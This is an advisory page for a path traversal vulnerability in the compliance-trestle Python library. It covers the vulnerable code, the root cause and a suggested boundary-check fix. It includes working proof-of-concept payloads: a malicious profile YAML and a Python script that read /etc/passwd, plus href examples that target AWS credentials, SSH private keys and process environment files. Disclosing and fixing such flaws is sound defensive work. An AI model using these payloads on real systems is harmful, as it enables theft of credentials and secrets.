PT-2026-59098 · Pypi · Compliance-Trestle

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v4.0

5.4

Média

VetorAV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Summary

The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.
Three attack vectors confirmed:
  1. PT-001: trestle://../../etc/passwd — via trestle:// URI scheme
  2. PT-002: ../../etc/passwd — via relative path in href
  3. PT-003: back matter rlinks with traversal paths
Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 175-179) File: trestle/core/resolver/ import.py (line 104) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:175-179 — LocalFetcher (trestle:// URI handling)

python
class LocalFetcher(FetcherBase):
  def  init (self, trestle root: pathlib.Path, uri: str) -> None:
    super(). init (trestle root, uri)
    # ...
    elif uri.startswith(const.TRESTLE HREF HEADING):
      uri = str(trestle root / uri[len(const.TRESTLE HREF HEADING) :])
      self. abs path = pathlib.Path(uri).resolve()
      # ❌ NO boundary check — .resolve() follows ../
      # ❌ NO is relative to() validation
      # ❌ Result can be /etc/passwd
      self. cached object path = self. abs path
      return

cache.py:194 — LocalFetcher (relative path handling)

python
    # For relative paths (no trestle:// or file:// prefix):
    try:
      self. abs path = pathlib.Path(uri).resolve()
      # ❌ Same issue — resolves relative to CWD with no boundary check
    except Exception:
      raise TrestleError(...)

import.py:73-104 — Profile import href resolution

python
class Import(Pipeline.Filter):
  def  init (self, ...):
    # Line 73-83: back matter rlinks used directly
    if self. import.href[0] == '#':
      resource = [r for r in self. resources if r.uuid == self. import.href[1:]][0]
      self. import.href = [
        rlink.href # ❌ rlink.href from OSCAL data — user-controlled
        for rlink in resource.rlinks
        if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
      ][0]

    # Line 104: href passed directly to FetcherFactory
    fetcher = cache.FetcherFactory.get fetcher(self. trestle root, self. import.href)
Root Cause:
  1. Path(trestle root / "../../etc/passwd").resolve() = /etc/passwd
  2. No is relative to(trestle root) check after resolve
  3. TRESTLE HREF REGEX defined at const.py:253 but NEVER enforced (dead code)
  4. Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])

Steps to Reproduce

Prerequisites

bash
pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

yaml
# malicious profile.yaml
profile:
 uuid: "550e8400-e29b-41d4-a716-446655440000"
 metadata:
  title: "Malicious Profile"
  version: "1.0"
  last-modified: "2024-01-01T00:00:00+00:00"
  oscal-version: "1.0.4"
 imports:
  - href: "trestle://../../../../../../etc/passwd"

PoC: Direct LocalFetcher Exploit

python
#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile

trestle root = Path(tempfile.mkdtemp())

# Normal usage — stays within workspace
normal = LocalFetcher(trestle root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal. abs path}") # /tmp/xxx/catalogs/test/catalog.json

# Exploit — escapes workspace
evil = LocalFetcher(trestle root, "trestle://../../../../../../etc/passwd")
print(f"Evil:  {evil. abs path}")  # /etc/passwd
print(f"Content: {evil. abs path.read text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash
Expected: Path traversal blocked with error Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully

Remediation

python
class LocalFetcher(FetcherBase):
  def  init (self, trestle root: pathlib.Path, uri: str) -> None:
    super(). init (trestle root, uri)
    # ...
    elif uri.startswith(const.TRESTLE HREF HEADING):
      uri = str(trestle root / uri[len(const.TRESTLE HREF HEADING) :])
      self. abs path = pathlib.Path(uri).resolve()

      # ✅ ADD: Boundary check
      if not self. abs path.is relative to(self. trestle root):
        raise TrestleError(
          f"Path traversal blocked: resolved path '{self. abs path}' "
          f"is outside trestle root '{self. trestle root}'"
        )

      self. cached object path = self. abs path
      return
Same fix needed for relative path handling at line 194.
Additionally, enforce TRESTLE HREF REGEX (already defined at const.py:253 but never used).

Resources

Impact

  1. Credential Theft via OSCAL Import:
yaml
imports:
 - href: "trestle://../../root/.aws/credentials"
 - href: "trestle://../../root/.ssh/id rsa"
  1. System Reconnaissance:
yaml
imports:
 - href: "trestle://../../etc/passwd"
 - href: "trestle://../../proc/self/environ"
  1. Supply Chain Attack: Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.
  2. Dead Code Evidence: TRESTLE HREF REGEX defined at const.py:253 but never enforced anywhere — proves path validation was INTENDED but never implemented.

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-2426

Produtos afetados

Compliance-Trestle